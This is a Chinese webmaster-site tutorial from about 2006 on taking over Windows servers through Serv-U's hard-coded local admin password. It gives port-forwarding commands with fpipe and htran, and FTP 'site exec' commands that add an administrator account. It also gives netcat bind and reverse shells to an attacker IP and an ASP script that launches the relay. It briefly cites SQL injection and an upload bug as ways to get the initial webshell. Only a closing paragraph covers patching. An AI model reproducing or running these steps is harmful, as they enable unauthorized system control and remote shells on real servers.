a 设为首页
a 加入收藏
a 联系我们
a     本站诚征友情链接！！！  [admin  2007年11月22日]         今天是
 | 网站首页 | 站长在线 | 新闻资讯 | 网页设计 | 平面设计 | 网络媒体 | 网络安全 | 服务器 | 软件下载 | 图片素材 | 在线商城 | 站长论坛 | 留言 | 繁體中文
热门搜索关键字： 模板 | 错误 | 标签 | 采集 | 数据库 | 组件 | 代码 | 特效 | 木马 | 插件 | 虚拟主机
文章 下载 图片
栏目导航  
【Web服务器】
【Ftp服务器】
【Mail服务器】
【Dns服务器】
【Linux服务器】
【其他相关】
专题栏目  
· 网络架设  · 病毒安全
· 图行天下  · 音影视听
· 动易软件  · 动网软件
· 虚拟组合  · SEO技术
推荐文章  
热门文章  
图片文章  
 
您现在的位置： 中国站长在线|ITE258 >> 服务器 >> Ftp服务器 >> 正文
webshell+serv-u获取系统最高权限
文章来源：中国站长学院 点击数： 更新时间：2006-10-24 【字体：小 大】




  • 上一篇文章：

  • 下一篇文章：
    • 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
    　
    关于〖webshell+serv-u获取系统最高权限〗的最新评论：
    下面详细说说webshell+serv-u获取系统最高权限的方法及补救方法。

    原理:
        serv-u默认监听127.0.0.1:43958,在本机才能连接这个管理端口,serv-u默认管理账号是LocalAdministrator,默认密码是"#l@$ak#.lk;0@P"，这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1，然后在你自己的机器，用"serv-u administrator"新建SERVER，
    目标IP:12345
    User:LocalAdministrator
    Pass:"#l@$ak#.lk;0@P"
    那么目标机器的serv-u就归你管了。


    利用的前提:要有目标机器的普通权限的SHELL，不需要能终端或物理控制台登录，只要有个shell，能运行端口数据转发的程序就可以了

    如何得到一个shell:sql注射得到webshell或者直接利用动网7.0 sp2以下的上传漏洞上传webshell

    具体实施方法：
      1.利用得到的webshell上传转向程序fpipe,然后执行fpipe -v -l 12345 -r 43958 127.0.0.1

        2 .在你自己的机器，用"serv-u administrator"新建SERVER，依次填入
          ip:目标IP
            端口 :12345
            User:LocalAdministrator
            Pass:"#l@$ak#.lk;0@P"
        现在你就可以管理这台服务器的serv-u了，新建一个账号，权限为系统管理员(system administrator),并在"目录访问(Dir access)"选项中给予"执行"权限(execute).

        3. ftp连接，然后执行quote site exec net user iisuser password /add
    添加一个用户名为iisuser密码为password的用户，加到管理员组 quote site exec net localgroup administrators iisuser /add,现在就可以连接终端并登录了。   

        当然也可以进行别的操作，例如上传一个nc.exe,在目标机器上得到一个管理员权限的shell,可以正向连接，也可以反向连接。
        
        正向连接:连上ftp以后执行 quote site exec nc.exe -l -p 23 -t -e cmd.exe
          这时目标主机就成了一台telnet服务器，你可以telnet上目标服务器的23端口.
          
          反向连接：假设你的IP是202.96.209.168
            1.先在自己的机器上运行(你要有一个外部IP):nc -vv -lp 99
                2.在目标机器上运行 nc -e cmd.exe 202.96.209.168   99
          在你的机器上就会得到一个目标机器的具有管理员权限的shell

        如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接，如果限制的话就要换别的方法呢)，可以用TCP SOCKET转发来实现


    打个比方：
    我的机器为 A
    我要测试的机器为 B[不允许正面连接]
    我已经在B上得到呢一个SHELL[只要guest的就行呢]

    我们可以这样连上对方的43958
    I：我在本地监听二个端口23和56
    23是等待B来连接的~
    56是等待我来连接的~

    II：B连接我监听的23，同时转发到本地的43958

    这样管道就建好呢~对方的防火墙就拿我们没有办法呢~

    此时在本地运行SERV-U新建一个SERVER，IP填上本地的127.0.0.1端口为56，用户名LocalAdministrator，密码#l@$ak#.lk;0@P

    具体实施方法：
      假设你的IP是 202.96.209.168
        1.在你自己的机器上运行 htran.exe -listen 23 56
        
        2.此时在本地运行SERV-U新建一个SERVER，IP填上本地的127.0.0.1端口为56，用户名LocalAdministrator，密码#l@$ak#.lk;0@P
        
      3。在目标机器上运行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23
    如果不能在webshell下直接运行，可以写一个asp脚本来执行,内容如下

    connect.asp
    <%
    Set oScript = Server.CreateObject("WSCRIPT.SHELL")
    oScript.Run (server.mappath("htran")&" -slave 127.0.0.1 43958 202.96.209.168 23 ")
    %>

        执行http://目标网址/connect.asp，如果出来一片空白，没提示什么错误，现在你应该可以管理目标服务器的serv-u了

      余下的事情就看您自由发挥了。
      htran.exe是一个多线程包转发工具，可以到红盟下载http://www.cnhonker.com/download/releases/Tools/HTran.rar

    防止方法：
        自己给serv-u打补丁，改变默认端口及管理密码。改密码要修改ServUAdmin.exe,ServUDaemon.exe这两个文件，改端口只要在ServUDaemon.ini文件[GLOBAL]选项中加入LocalSetupPortNo=12345即可

    很遗憾，在serv-u的最新版本serv-u 5.2.0.0中依然没有任何改变，默认的管理端口及密码还是原来的。
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 | 
    中国站长在线 http://www.ite258.com 电子邮件：ite258@126.com
    点击给站长发消息！站长QQ群： 15643723
    湘ICP备07501014号
    站长：梦天　Copyright (c) 2002-2008 ite258.com. All Rights Reserved.
    本站部分资源由网友推荐，来自互联网，版权属于原版权人，如果不慎侵犯到您的权利，敬请告知，我们会在第一时间撤除。
    本站中各网友的评论只代表其个人观点，不代表本站同意其观点。